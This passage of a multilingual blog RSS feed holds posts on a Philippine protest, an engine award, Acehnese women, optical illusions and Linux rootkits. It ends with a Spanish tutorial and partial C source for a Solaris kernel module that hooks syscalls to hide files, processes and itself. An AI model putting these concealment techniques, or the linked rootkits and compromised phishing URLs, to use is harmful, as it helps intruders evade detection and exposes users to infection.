Protesters carry placards calling for the ouster of President Gloria Macapagal Arroyo during an int]]></description>
<content:encoded><![CDATA[<p><a href="http://suarabangsamoro.wordpress.com/files/2008/03/blog2.jpg" title="blog2.jpg"><img src="http://suarabangsamoro.wordpress.com/files/2008/03/blog2.jpg" alt="blog2.jpg" /></a></p>
<p align="justify"><b><span style="font-size:10pt;color:black;font-family:Arial;">Protesters carry placards calling for the ouster of President Gloria Macapagal Arroyo during an interfaith prayer rally in Cotabato City, February 29, 2008. Thousands of people streamed to City Plaza on Friday calling for the resignation of Arroyo in a colourful outpouring of placards, prayers and chants.</span></b><span style="font-size:10pt;color:black;font-family:Arial;"> </span></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Environment Grand Prize per il DiesOtto: "Il futuro dei motori a combustione interna"]]></title>
<link>http://markoblog.wordpress.com/?p=100</link>
<pubDate>Tue, 12 Feb 2008 10:12:54 +0000</pubDate>
<dc:creator>marko</dc:creator>
<guid>http://markoblog.wordpress.com/?p=100</guid>
<description><![CDATA[
Mercedes è stata premiata a Parigi per il DiesOtto, un motore molto innovativo presentato dalla ca]]></description>
<content:encoded><![CDATA[<p><a href="http://markoblog.wordpress.com/files/2008/02/mercedes_diesotto_engine_01.jpg" title="mercedes_diesotto_engine_01.jpg"><img src="http://markoblog.wordpress.com/files/2008/02/mercedes_diesotto_engine_01.thumbnail.jpg" alt="mercedes_diesotto_engine_01.jpg" /></a></p>
<p>Mercedes è stata premiata a Parigi per il <a href="http://www.autoblog.it/post/9429/i-dettagli-sul-motore-diesotto-di-mercedes-benz/">DiesOtto</a>, un motore molto innovativo presentato dalla casa tedesca al Salone di Francoforte, dove è stata ospitato nella pancia della eccentrica <a href="http://www.autoblog.it/post/10204/mercedes-f-700-concept-la-galleria-completa-e-tutti-i-dati-della-casa/">concept F700</a>.</p>
<p>Il motivo della premiazione, svoltasi nell’ambito del “Festival Automobile International” è la capacità che ha il motore di unire il meglio degli attuali propulsori: potenza paragonabile ad un V6 benzina, coppia e consumi ai livelli dei diesel più all’avanguardia ed emissioni molto più basse della produzione attuale. “Il DiesOtto in sostanza rappresenta il futuro dei motori a combustione interna” secondo la giuria internazionale che ha assegnato il riconoscimento, consegnato da Alain Prost all’Hotel Des Invalides.</p>
<p>Ricordiamo qualche numero del motore: si tratta di un piccolo 1.8 quattro cilindri che adotta tutte le soluzioni più moderne dell’ingegneria motoristica: turbocompressore, iniezione diretta, rapporto di compressione variabile e modulo ibrido ausiliare. Il risultato è una potenza di 238 CV, una coppia di 400 Nm, un consumo medio di 5,3 l/100 km ed emissioni contenute in 127 g/km di CO2, tutti dati fatti registrare dalla F700, vale a dire un’ammiraglia di oltre cinque metri, equipaggiata di tutto punto. Va aggiunto che il risultato è stato raggiunto anche grazie all’adozione di alcuni accorgimenti aerodinamici e a pneumatici dalla sezione molto sottile.</p>
<p>Il DiesOtto ha un’altra caratteristica tutt’altro che secondaria: quando sentiamo parlare di emissioni pensiamo subito al dato chilometrico di anidride carbonica emessa, ma dagli scarichi non esce solo CO2: molto nocivi sono anche gli ossidi di azoto, dei quali però le case ancora non si occupano in maniera organica. Questo nuovo motore invece, grazie alla combustione esemplare per omogeneità, anche a temperature molto basse, permette di ridurre drasticamente il livello dei NOx emessi.</p>
<p align="right">[via: autoblog.it]</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Setiap Super Women Aceh  ]]></title>
<link>http://airlambang.wordpress.com/?p=54</link>
<pubDate>Mon, 21 Jan 2008 07:10:02 +0000</pubDate>
<dc:creator>Airlambang</dc:creator>
<guid>http://airlambang.wordpress.com/?p=54</guid>
<description><![CDATA[Sebelum “keluar” kelar dulu “di dalam”.
Masithah bekerja 16 hingga 18 jam sehari. Ia bendaha]]></description>
<content:encoded><![CDATA[<p><em><strong>Sebelum “keluar” kelar dulu “di dalam”</strong></em>.</p>
<p>Masithah bekerja 16 hingga 18 jam sehari. Ia bendahara sebuah lembaga keuangan mikro (LKM) di Banda Aceh, agen penjualan asuransi, penjahit pesanan pakaian pesta dan pengantin, serta—tentu saja—ibu rumah tangga. Pekerjaan terakhir ini membuat ia harus bangun lebih pagi dan kerap tidur lebih larut dari siapapun penghuni rumah.<!--more--></p>
<p>“Kakak memang sulit tidur malam, <em>kok</em>,” alasan Masithah. Perempuan Aceh membahasakan dirinya ‘kakak’ kepada orang yang lebih muda.</p>
<p>Menurut Masithah, ia masih bisa membagi waktu dan tenaga untuk keluarga kendati melakoni pekerjaan luar rumah. Sebab, jam kerja mengurus LKM, berjualan paket asuransi ataupun menjahit lebih fleksibel ketimbang suaminya yang pegawai negeri sipil. “Abang <em>kan</em> rutin dari pagi sampai sore di kantor. Kakak masih bisa balik ke rumah.”</p>
<p>Fatimah, perempuan lain, juga bekerja di luar rumah. Ia fasilitator penerima kredit lunak dari sebuah organisasi nonpemerintah untuk wilayah Banda Aceh dan Aceh Besar. Bagi Fatimah, istri wajib menuntaskan pekerjaan di rumah sebelum melangkah ke dunia publik.</p>
<p>Saat dijemput untuk program perbincangan radio <em>Rumoh PMI</em>, 11 Januari, Fatimah baru kelar menyiapkan sayur dan lauk untuk makan malam. Ia telah mengira bahwa sepulang menjadi narasumber dalam program radio yang dikelola Program Penjangkauan Masyarakat Palang Merah Irlandia, hari bakal menyentuh malam. Bila sayur dan lauk telah siap malam nanti tinggal memanaskan.</p>
<p><em>Rumoh PMI</em> edisi 55 itu membincangkan tema program pemberdayaan perempuan Aceh setelah rekonstruksi dan rehabilitasi pasca tsunami dan gempa bumi berjalan selama 3 tahun. Dari perbincangan ini diketahui tingkat partisipasi perempuan dalam proses pembangunan kembali Aceh meningkat, terutama dalam program mata pencaharian. Menurut Fatimah, di lembaganya angka kredit macet (<em>nonperforming loans</em>) dari peminjam perempuan mencapai nol persen. Kalaupun ada tunggakan biasanya hanya pembayaran lewat waktu jatuh tempo.</p>
<p>Tapi, partisipasi rupanya tak paralel dengan meningkatnya kesadaran akan peran setara antara laki laki dan perempuan. Tema pembagian pekerjaan domestik antara suami dan istri masih asing bagi Masithah dan Fatimah. Agaknya begitu juga bagi banyak perempuan lain di Aceh Darussalam.</p>
<p>Tim Advokasi dan Radio mesti menunda pertemuan warga di Kecamatan Lhoong, Aceh Besar, Agustus 2007, untuk menunggu datangnya wakil wakil perempuan. Waktu pertemuan yang ditetapkan pukul 13.00 rupanya menghalangi kedatangan para perempuan lantaran belum selesai dengan tugas di rumah. Alhasil, pertemuan baru bisa terlaksana pukul 14.30 alias tertunda 1,5 jam. Toh, lebih baik <em>molor</em> ketimbang tanpa kehadiran mereka.</p>
<p>Pertemuan itu membicarakan kemungkinan warga Lhoong mendapat pembangun baru bagi rumah mereka yang dibangun dari bahan papan mengandung asbes. Sepanjang diskusi para perempuan yang duduk di bagian belakang lebih banyak diam. Baru setelah diminta secara langsung untuk berbicara, mereka menuturkan beberapa persoalan yang mengganggu kesehatan selama tinggal di rumah bantuan dari papan mengandung asbes itu.</p>
<p>Tim Advokasi dan Radio hari itu belajar memahami <em>affirmative action</em> dalam pengertian sehari hari. <em>Affirmative action</em> rupanya berarti juga memberi perempuan ruang bahkan waktu khusus untuk berbicara. Terutama di forum terbuka yang dihadiri kebanyakan laki laki.</p>
<p>Pendiri organisasi perempuan Flower Aceh, Suraiyya Kamaruzzaman, meyakinkan upaya Program Penjangkauan Masyarakat merupakan bagian dari pemberdayaan perempuan. Semisal, mengundang lebih banyak perempuan berbicara dalam program radio dan memberi mereka waktu yang lebih lama dari rata rata penilpun. Khusus pada perempuan yang bekerja di dunia publik, ia menekankan pentingnya memberi pemahaman tentang pembagian tugas suami dan istri.</p>
<p>“Pandangan Ibu Fatimah bahwa pekerjaan rumah tetap menjadi kewajiban istri pada gilirannya memberi beban ganda pada perempuan,” ujarnya. “Situasi ini bukan saja tidak disadari oleh rata rata perempuan di Aceh bahkan organisasi organisasi yang membantu mereka.”</p>
<p>Fatimah terlihat mengangguk di dalam studio, sore itu. []</p>
<p><a href="http://airlambang.wordpress.com/2008/01/25/superwomen-of-aceh/" target="_blank">English Version</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Steve Jobs em Stanford - Um discurso, uma lição de vida]]></title>
<link>http://escolademecanica.wordpress.com/2007/11/18/steve-jobs-em-stanford-um-discurso-uma-licao-de-vida/</link>
<pubDate>Sun, 18 Nov 2007 21:35:56 +0000</pubDate>
<dc:creator>Norival Oliveira</dc:creator>
<guid>http://escolademecanica.wordpress.com/2007/11/18/steve-jobs-em-stanford-um-discurso-uma-licao-de-vida/</guid>
<description><![CDATA[
Vídeo Legendado. Continua no corpo do post&#8230;


Agradeço ao colega starfox que mandou o post ]]></description>
<content:encoded><![CDATA[<p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/yplX3pYWlPo'></param><param name='wmode' value='transparent'></param><embed src='http://www.youtube.com/v/yplX3pYWlPo&rel=0' type='application/x-shockwave-flash' wmode='transparent' width='425' height='350'></embed></object></span></p>
<p>Vídeo Legendado. Continua no corpo do post...</p>
<p><!--more--></p>
<p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/ksoo-G_YB2o'></param><param name='wmode' value='transparent'></param><embed src='http://www.youtube.com/v/ksoo-G_YB2o&rel=0' type='application/x-shockwave-flash' wmode='transparent' width='425' height='350'></embed></object></span></p>
<p>Agradeço ao colega <strong><font color="#0000ff">starfox</font></strong> que mandou o <a href="http://forum.lkmtheblog.com/viewtopic.php?f=96&#38;t=57886" title="Fórum LkM The blog" target="_blank">post</a> original.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Ilusões de ótica]]></title>
<link>http://escolademecanica.wordpress.com/2007/10/26/ilusoes-de-otica/</link>
<pubDate>Sat, 27 Oct 2007 00:45:39 +0000</pubDate>
<dc:creator>Norival Oliveira</dc:creator>
<guid>http://escolademecanica.wordpress.com/2007/10/26/ilusoes-de-otica/</guid>
<description><![CDATA[

O que você vê nesta imagem?

De início pode ser um pouco difícil ver, mas nos espaços claros ]]></description>
<content:encoded><![CDATA[<p style="text-align:center;"><img src="http://img138.imageshack.us/img138/4764/ilusao03nc8.jpg" /></p>
<ul>
<li>O que você vê nesta imagem?</li>
</ul>
<p><!--more-->De início pode ser um pouco difícil ver, mas nos espaços claros lê-se a palavra "optical" enquanto na paisagem em azul pode ser lida a plavra "illusion"</p>
<ul>
<li><strong>E agora, o que você lê nesta imagem? </strong></li>
</ul>
<p style="text-align:center;"><img src="http://img148.imageshack.us/img148/3711/ilusao01qv8.jpg" /></p>
<p>Provavelmente você respondeu: "A BIRD IN THE BUSH". Foi isso?<br />
Então você errou. A palavra "THE" está grafada duas vezes.</p>
<ul>
<li><strong>E o que você lê nesta imagem?</strong></li>
</ul>
<p style="text-align:center;"><img src="http://img149.imageshack.us/img149/7699/ilusao02xs3.jpg" /></p>
<p>Conseguiu enxergar a palavra GOOD na cor escura ou EVIL na cor branca dentro de GOOD?</p>
<ul>
<li><strong>Teste do olho Alzheimer. Conte todos os " F " no texto seguinte:</strong></li>
</ul>
<p align="center"><em>.</em></p>
<p align="center"><em>FINISHED FILES ARE THE RE<br />
SULT OF YEARS OF SCIENTI<br />
FIC STUDY COMBINED WITH<br />
THE EXPERIENCE OF YEARS...</em>
</p>
<p align="center">.</p>
<p align="center">&#160;</p>
<p>Existem seis, mas se você contou apenas três, não se assuste, tudo normal. O problema é que nosso cérebro não consegue processar a palavra "OF".</p>
<ul>
<li><strong>Esta imagem não existe, mas seus olhos podem te enganar.</strong></li>
</ul>
<p style="text-align:center;"><img src="http://img98.imageshack.us/img98/6892/ilusao06bu8.jpg" /></p>
<ul>
<li><strong>Neste buquê você poderá encontrar cinco rostos de perfil</strong></li>
</ul>
<p style="text-align:center;"><img src="http://img98.imageshack.us/img98/6005/ilusao08qn3.jpg" /></p>
<ul>
<li><strong>Tem mais de 10 rostos nesta imagem.</strong></li>
</ul>
<p style="text-align:center;"><img src="http://img91.imageshack.us/img91/7129/ilusao17ra9.jpg" /></p>
<p>Agradecimentos e créditos ao <a href="http://forum.lkmtheblog.com/memberlist.php?mode=viewprofile&#38;u=9874" title="LkM" target="_blank"><strong>Wolfman</strong></a>, do www.forum.lkmtheblog.com</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Armas de doble filo]]></title>
<link>http://windowstips.wordpress.com/2007/10/09/armas-de-doble-filo/</link>
<pubDate>Tue, 09 Oct 2007 11:03:36 +0000</pubDate>
<dc:creator>Juanito</dc:creator>
<guid>http://windowstips.wordpress.com/2007/10/09/armas-de-doble-filo/</guid>
<description><![CDATA[Ayer noche, después de la paliza Sevilla-Madrid, estuve leyendo algo de noticias, y me encontré co]]></description>
<content:encoded><![CDATA[<p>Ayer noche, después de la paliza Sevilla-Madrid, estuve leyendo algo de noticias, y me encontré con una noticia muy interesante sobre Phishing. En el artículo se hace mención a la nueva "línea de negocio" que los phishers estudian e implantan para cometer estos actos. El artículo en cuestión lo <a target="_blank" href="http://www.computerworlduk.com/management/security/cybercrime/news/index.cfm?newsid=5475&#38;pn=1">tenéis aquí</a>. Si anteriormente escuchábamos que la gran mayoría de servidores vulnerados eran sistemas Windows, lo cual dudo mucho ya que hay un gran porcentaje de servidores Linux que son catalizadores en ataques vía Phishing, ahora se decantan o están empezando a tomar conciencia de los ataques vía Linux.</p>
<p>Como muchos de nosotros sabemos, en sistemas Linux también hay rootkits, incluso antes de que saliesen para Windows, y bastante sofisticados además. No es de extrañar, que este tipo de negocio vaya mutando hacia otros sistemas operativos.</p>
<p>Las técnicas para el Phishing han mejorado mucho. Han mejorado en el idioma, han mejorado en la forma, han mejorado en el envío de mails, y por qué no, si tienen otra fuente desde la que lanzar el ataque, por qué no hacerlo!</p>
<p>Hace poco teníamos un ataque a gran escala. Hablamos de unas 11.000 páginas que aprovechaban vulnerabilidades conocidas en los principales navegadores, entre los que se encontraban IE, Firefox y Opera. La alerta en cuestión es <a target="_blank" href="http://www.websense.com/securitylabs/alerts/alert.php?AlertID=782">ésta</a>, y se podía encontrar información detallada en el <a target="_blank" href="http://blog.hispasec.com/laboratorio/223">blog de Hispasec</a>, y en <a target="_blank" href="http://blog.hispasec.com/laboratorio/225">ésta otra entrada</a>.</p>
<p>Un Rootkit en Linux funciona de manera similar que en los de Windows. Tenemos Rootkits en modo usuario y modo Kernel. Los que son para la capa de usuario, normalmente suplantan archivos (los troyanizan) o bien, modifican el comportamiento de alguna aplicación. Ejemplos básicos los podríamos tener en la salida de netstat (ocultando puertos), o bien ocultando procesos que estén corriendo en el sistema (ocultando la salida de un ps por ejemplo). Los que son para modo Kernel, añaden código a la zona de Kernel, bien mediante un driver, o bien mediante un módulo.</p>
<p>En kernels antiguos (menor que el 2.5) si alguien lograba privilegios de root en un sistema previamente comprometido, éste tenía bastante facilidad para inyectar módulos directamente en el kernel. A partir del 2.5 (si mi memoria no me falla) se modifican ciertos aspectos del kernel para dificultar este tipo de intrusiones. No obstante, las técnicas de ocultación se han ido modificando, hasta burlar por completo las técnicas de los desarrolladores del Kernel por mitigar este tipo de acciones, y hoy en día, podemos encontrar muchos rootkits para las últimas versiones del kernel de Linux.</p>
<p>Nadie duda de si un sistema Linux es seguro o no, pero hay una cierta (sobrada) creencia de que Linux es superior y más seguro que sistemas basados en Windows, cuando la realidad es bien diferente.</p>
<p>Actualmente hay una gran variedad de Rootkits para Linux, entre los que se encuentran los siguientes:</p>
<p><a target="_blank" href="http://packetstorm.linuxsecurity.com/groups/teso/adore-ng-0.41.tgz">Adore</a> .- Rootkit basado en LKM (Loadable Kernel Module). Se oculta a sí mismo, procesos y ficheros.</p>
<p><a target="_blank" href="http://www.phrack.org/issues.html?issue=58&#38;id=7#article">SuckIt</a> .- Oculta procesos, ficheros y conexiones. Se carga en el dispositivo /dev/kmem. <a target="_blank" href="http://www.soohrt.org/stuff/linux/suckit/">Aquí</a> tenéis un análisis del bichito en cuestión</p>
<p><a target="_blank" href="http://www.ossec.net/rootkits/studies/knark.txt">Knark</a> .- Rootkit basado en Kernel (2.2 y 2.4). Oculta procesos, ficheros y puertos.</p>
<p><a target="_blank" href="https://www.linux-magazine.es/issue/22/Rootkits.pdf">Otro friend</a>, amigo de los niños y que se llama <strong>Amir Alsbih</strong> ha empezado a desarrollar otro juguetito para el kernel 2.6, y que va a denominar <strong>Project Override</strong>.  El proyecto en cuestión lo <a target="_blank" href="http://www.informatik.uni-freiburg.de/~alsbiha/code.htm">tenéis aquí</a>. El tío explica el por qué no se debe de estar tranquilo sólo porque se utilice Linux, desmitificando ese pensamiento que parece tener la mayoría de usuarios que utilizan Linux. Su POC esconde los ID de los procesos (también de los procesos hijos) que se necesiten esconder, esconde procesos, asigna privilegios de root a procesos predefinidos, esconde ficheros que empiecen por un determinado prefijo, disfraza puertos de red, etc... Casi nada verdad?</p>
<p>Un rootkit que se instale a nivel de Kernel podrá manipular las llamadas al sistema, y si puede manipular llamadas al sistema, podrá también modificar cualquier aplicación cargada desde la zona de usuario, así que software como <a target="_blank" href="http://www.tripwire.com/products/enterprise/ost/">Tripwire</a>, <a target="_blank" href="http://www.cs.tut.fi/~rammer/aide.html">aide</a>, <a target="_blank" href="http://www.geocities.com/fcheck2000/">Fcheck</a>, etc... no me servirían de NADA en casos como este, ya que podrían estar lanzándome salidas manipuladas previamente por el rootkit.</p>
<p>A partir de aquí edito y añado un poco de flame al asunto, ya que cuando lo iba a publicar, se me ha adelantado <strong>la ciudad de los krispis, </strong>publicando un artículo que menciona esto mismo, pero restando importancia al asunto sólo porque la charla estaba patrocinada por Microsoft.</p>
<p>Vamos a ver.... Microsoft no patrocinaría jamás una charla en donde se juanquease un equipo suyo no? En esto estamos seguros no?</p>
<p>Joder, pues las BlackHat están patrocinadas por Spectra, y la RutKowska hablando sobre el bluepill (cuando Spectra no tenía decidido qué certificados iba a usar), el último reto forense celebrado por RedIris y la UNAM-CERT también está patrocinado por Spectra, y joder! Se analizaba un 2003 que había sido juanqueado a través del navegador IE!</p>
<p><a href="http://windowstips.wordpress.com/files/2007/10/blackhat.PNG" title="blackhat.PNG"></a><a href="http://windowstips.wordpress.com/files/2007/10/blackhat.PNG" title="blackhat.PNG"></a></p>
<p style="text-align:center;"><a target="_blank" href="http://windowstips.wordpress.com/files/2007/10/blackhat.PNG"><img src="http://windowstips.wordpress.com/files/2007/10/blackhat.thumbnail.PNG" alt="blackhat.PNG" /></a></p>
<p style="text-align:center;">&#160;</p>
<p><a href="http://windowstips.wordpress.com/files/2007/10/reto.PNG" title="reto.PNG"></a><a href="http://windowstips.wordpress.com/files/2007/10/reto.PNG" title="reto.PNG"></a></p>
<p style="text-align:center;"><a target="_blank" href="http://windowstips.wordpress.com/files/2007/10/reto.PNG"><img src="http://windowstips.wordpress.com/files/2007/10/reto.thumbnail.PNG" alt="reto.PNG" /></a></p>
<p>Pero cuando un informe dice que en Linux también hay línea de negocio para Phishing, rootkits, virus, gusanos, etc... Eso es imposible....</p>
<p>Pero en fin.... Viendo URLS como <a target="_blank" href="http://vps3845.managemyvps.com/ws2/">ésta</a>, o <a target="_blank" href="http://telekom.webchillers.com.sg/manual/ssl/.%20/.cgi-bin/">esta otra</a> podríamos decir sin lugar a dudas que Linux es seguro. Y si es inseguro seguramente sea culpa de Spectra. Así que como la ciudad de los Krispis dice que a Linux le corresponde la "jefatura", yo os animo a que toméis el mando de la jefatura y sigáis los dos enlaces anteriores, picando en cada directorio....</p>
<p>Besitos!</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Módulo del núcleo para Solaris orientado a la seguridad]]></title>
<link>http://txipi.wordpress.com/2006/11/23/modulo-del-nucleo-para-solaris-orientado-a-la-seguridad/</link>
<pubDate>Thu, 23 Nov 2006 21:23:34 +0000</pubDate>
<dc:creator>txipi</dc:creator>
<guid>http://txipi.wordpress.com/2006/11/23/modulo-del-nucleo-para-solaris-orientado-a-la-seguridad/</guid>
<description><![CDATA[En el anterior ártículo hicimos una aproximación al mundo de los Loadable Kernel Modules (LKM) en]]></description>
<content:encoded><![CDATA[<p>En el <a href="http://blog.txipinet.com/index.php/2006/11/17/51-programacion-de-lkms-en-solaris">anterior ártículo</a> hicimos una aproximación al mundo de los Loadable Kernel Modules (LKM) en Solaris. En esta ocasión desarrollaremos un módulo del núcleo orientado a mejorar la seguridad del sistema por parte del administrador. Es un módulo muy sencillo, pero sirve para conocer cómo programar módulos más complejos.</p>
<p><!--more--></p>
<p class="post-content">&#160;</p>
<h3>El LKM quark</h3>
<h4>Funcionalidades</h4>
<p>El módulo de kernel “quark” está orientado a la protección de nuestros sistemas Solaris frente a ataques que utilicen otros LKMs, además de proporcionar otras funcionalidades como proteger el demonio de log del sistema, ocultar archivos, directorios y procesos, etc.</p>
<p>Para utilizar “quark” en entornos de pruebas, se ha utilizado una opción de compilación (-DDEBUG) mediante la cual el funcionamiento del módulo perderá transparencia con objeto de informar de las modificaciones al sistema que se van realizando en ejecución. Al incluirse esta opción como optativa, podemos usar “quark” tanto para pruebas como en un entorno de producción, sin tener que hacer modificaciones en el código.</p>
<p>El objetivo principal de “quark” es proteger el sistema, por lo que necesita a su vez protegerse a sí mismo para evitar que sus esfuerzos en mantener la integridad del sistema sean deshabilitados. Por ello, “quark” no muestra información acerca de sí mismo a modinfo. Esto evitará que atacantes poco exhaustivos caigan en la cuenta de su presencia (un intruso con paciencia y conocimientos podría delatar su presencia investigando la tabla de símbolos del kernel).</p>
<p>Otra funcionalidad reseñable es la posibilidad de configurar una cadena de caracteres concreta, y todo fichero que la contenga se ocultará a todos los usuarios, siendo invisible incluso para root. Esto puede servirnos para ocultar ficheros o directorios confidenciales, puntos débiles del sistema, etc.</p>
<p>A pesar de ocultarse, alguien podría intuir su presencia y desinstalarlo o instalar un nuevo LKM que invalide la acción de nuestro módulo. Para protegernos de esto, “quark” no permite que se descarguen o se carguen más módulos del sistema. Así, si nos aseguramos de que nuestro módulo se ha cargado antes que un posible módulo atacante, la tabla de peticiones al sistema estará protegida y el mecanismo de carga y descarga de módulos quedará bloqueado.</p>
<p>Todas las funcionalidades comentadas están regidas por el valor de una variable, secureflag, mediante la que definimos si los criterios de seguridad deben aplicarse o no. El valor de esta variable se puede modificar una vez “quark” esté cargado, así que no es necesaria la recarga o compilación del módulo. Por lo tanto, podemos mantener al sistema protegido y cuando sea necesario cargar un nuevo módulo, por ejemplo, deshabilitamos momentáneamente la seguridad, cargamos el módulo y la volvemos a habilitar. Esta forma de funcionar permite aunar seguridad y flexibilidad.</p>
<p>Una de las cosas más típicas que se producen al sufrir un ataque es la pérdida o manipulación de los logs del sistema. Como ya hemos comentado, “quark” puede ser utilizado para proteger determinados ficheros, pero, además, actúa con un cuidado especial a la hora de asegurar el demonio encargado de los logs del sistema (syslogd). Su manera de funcionar es la siguiente: por defecto, el demonio de logs del sistema se ejecutará normalmente y está visible dentro de la lista de procesos. Cuando un atacante trata de detener su ejecución, “quark” simula que esa detención ha tenido éxito y oculta el proceso del demonio. El sistema seguirá generando logs, pero de manera invisible para los usuarios. El intruso en cuestión creerá estar a salvo y obrará de manera menos cautelosa, sin saber que sus pasos están siendo vigilados.</p>
<p>Para que todo esto sea posible, ha sido preciso parchear varias llamadas al sistema, como veremos en la siguiente sección.</p>
<h4>Programación</h4>
<p>La estructura básica del módulo es muy simple:</p>
<ul>
<li>Las funciones y estructuras de datos obligatorias para todo módulo de kernel (_init(), _info(), _fini()).</li>
<li>Funciones destinadas a suplantar las peticiones al sistema originales.</li>
<li>Funciones adicionales.</li>
</ul>
<p>Lo principal dentro de las funciones de carga y descarga del módulo es ser cuidadoso para poder dejar todo como estaba anteriormente a su carga. Por ello, a pesar de que durante la carga del módulo se suplantan varias llamadas al sistema, las funciones originales se guardan en punteros a funciones específicos, para poder restaurarlas durante la descarga del módulo.</p>
<p>Comentemos ahora cada una de las llamadas al sistemas que ha sido necesario suplantar para conseguir las funcionalidades que ofrece “quark”:</p>
<ul>
<li>Ocultación de ficheros</li>
</ul>
<p>En los sistemas UNIX estándar los ficheros y directorios se organizan en función de unas estructuras denominadas dirent. Cuando queremos mostrar el contenido de un directorio, o hacer una búsqueda en el disco duro se hace una petición al sistema (getdents()), por lo tanto, parcheando esa syscall podremos decidir qué se mostrará. En Solaris esto es exactamente igual, con la salvedad de que la syscall utilizada es la versión de 64 bits (getdents64()). La lista de ficheros que devuelve esta petición al sistema es filtrada antes de devolverse al área de usuario, eliminando los ficheros que hayamos creído conveniente.</p>
<p>En “quark” definimos una cadena de caracteres (#define HIDEFILENAME "hide.me") y todos los ficheros o directorios que contengan esa cadena serán eliminados de la salida que se proporcionará a la función que solicitó la información desde el área de usuario.</p>
<p>Para proteger los ficheros y directorios no basta con ocultarlos, en “quark” hemos parcheado también open(), open64() y chdir(). La causa de tener que modificar dos veces open reside en la arquitectura híbrida de Solaris: mientras que muchos programas utilizan ya la versión de open de 64 bits, existen comandos que todavía siguen empleando la versión de 32 bits. Si solamente modificáramos una de las dos, los ficheros podrían ser accedidos por los comandos que utilizasen la otra petición al sistema. Parcheando chdir() evitamos que se accedan a los directorios protegidos. Todas estas modificaciones en la tabla de peticiones al sistema pueden habilitarse y deshabilitarse, así que no es necesario desinstalar el módulo para crear o editar ficheros y directorios que contengan la cadena de caracteres que hay que ocultar. Cuando alguien intente acceder a ellos el sistema devolverá un error, similar a los que devuelve cuando los ficheros no existen, para evitar sospechas (“No such file or directory”).</p>
<ul>
<li>Ocultación de procesos</li>
</ul>
<p>Existen varios métodos para ocultar procesos. Muchos rootkits instalan versiones troyanizadas de los comandos que muestran los procesos del sistema (ps, pgrep, ptree...). Desde un enfoque de módulo de kernel, esto no es necesario, sino que es mucho más efectivo modificar las syscalls y que cualquier comando que las use, proporcione información modificada convenientemente por nosotros.</p>
<p>Plasmoid utilizó en sus primeras aproximaciones a un método de ocultación eficiente una modificación doble: dado que el pseudo sistema de ficheros /proc contiene un fichero por cada proceso con la información del fichero que contiene el ejecutable que desencadenó la creación del proceso y demás información (/proc/&#60;pid&#62;/psinfo), modificando open() y read() para evitar mostrar información acerca de los procesos que queremos ocultar. Esto realmente funciona correctamente, pero supone una gran sobrecarga global para el sistema, ya que open() y read() se utilizan para muchas otras cosas y la comprobación se hace cada vez que se utilizan.</p>
<p>En un análisis más elaborado, el mismo autor diseñó otro enfoque para ocultar procesos: como /proc es un directorio a todos los efectos, comprobamos en getdents() si el fichero que hay que mostrar es un número y, de ser así, si corresponde al descriptor de proceso que queremos ocultar. Cuando esto se produzca, ocultamos el fichero que describe el proceso de la misma manera que ocultábamos los ficheros en la sección anterior.</p>
<p>Nosotros utilizamos este segundo enfoque para ocultar procesos cuando es necesario: al principio ningún proceso permanece oculto, pero cuando es preciso ocultar syslogd, nos aseguramos de que el fichero corresponde al descriptor del proceso de syslogd, y lo ocultamos como si se tratara de un fichero normal.</p>
<ul>
<li>Creación de un switch</li>
</ul>
<p>Todas las funcionalidades de seguridad que aporta “quark” pueden habilitarse y deshabilitarse a voluntad. Utilizando la creación de un fichero con un nombre extraño (#define TOGGLE "quark_LKM") podremos modificar el valor de la variable secureflag durante la ejecución del módulo. Para ello es preciso parchear la petición al sistema encargada de crear ficheros (creat64()). En ella comprobamos si el fichero que nos encargan crear contiene la cadena definida como biestable (TOGGLE) y si es así, variamos el valor de secureflag y generamos artificialmente un mensaje de error.</p>
<ul>
<li>Protección de syslogd</li>
</ul>
<p>Nuestro módulo trata de proteger el demonio del sistema encargado de recoger los logs, impidiendo que un posible atacante detenga su ejecución, y ocultando su presencia cuando alguien lo intente. Necesitamos programar entonces dos mecanismos: uno para detectar un intento de “matar” el proceso relacionado con syslogd, y otro para ocultarlo después de ese intento. Es decir, es preciso parchear la syscall kill(), impidiendo su uso con syslogd y modificando la variable hidesyslogd (encargada de definir si debemos ocultar el proceso o no), y utilizar el método anteriormente explicado para ocultar procesos.</p>
<ul>
<li>Protección del sistema contra la carga de módulos</li>
</ul>
<p>La protección que “quark” proporciona podría verse desbaratada si permitimos la carga de nuevos módulos que sobrescriban los parches que nuestro módulo efectúa en la tabla de peticiones al sistema. Es por esto que “quark”, por defecto, deshabilita la carga de nuevos módulos en cuanto es instalado, modificando la syscall modctl() que es la encargada de gestionar qué módulos de kernel se cargan.</p>
<p>Este hecho podría provocar que una vez instalado, nuestro módulo no pudiera desinstalarse, pero esta funcionalidad también está regida por el “switch” o biestable comentado anteriormente. Cuando queramos agregar un nuevo módulo, modificamos el valor de secureflag, lo cargamos y volvemos a habilitar la protección.</p>
<h4>Código fuente</h4>
<p>Este código está protegido bajo la Licencia Pública GNU (GPL), es decir, es software libre. Para obtener una copia actualizada de esta licencia, visite http://www.fsf.org.</p>
<pre>#include &#60;sys/systm.h&#62;
#include &#60;sys/ddi.h&#62;
#include &#60;sys/sunddi.h&#62;
#include &#60;sys/syscall.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/dirent.h&#62;
#include &#60;sys/proc.h&#62;
#include &#60;sys/procfs.h&#62;
#include &#60;sys/kmem.h&#62;
#include &#60;sys/errno.h&#62;
#include &#60;sys/modctl.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;unistd.h&#62;

#define	TRUE		1
#define FALSE		0
#define MAXSYSCALLS	256
#define TOGGLE		"quark_LKM"
#define SYSLOGDNAME	"syslogd"
#define HIDEFILENAME	"hide.me"

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc =
{
    &#38;mod_miscops,
#ifdef DEBUG
    "Quark LKM",
#else
    ""
#endif
};

static struct modlinkage modlinkage =
{
    MODREV_1,
    (void *) &#38;modlmisc,
    NULL
};

extern struct sysent sysent[];
static struct sysent sysent_backup[MAXSYSCALLS];

int (*oldcreat64) (const char *path, mode_t mode);
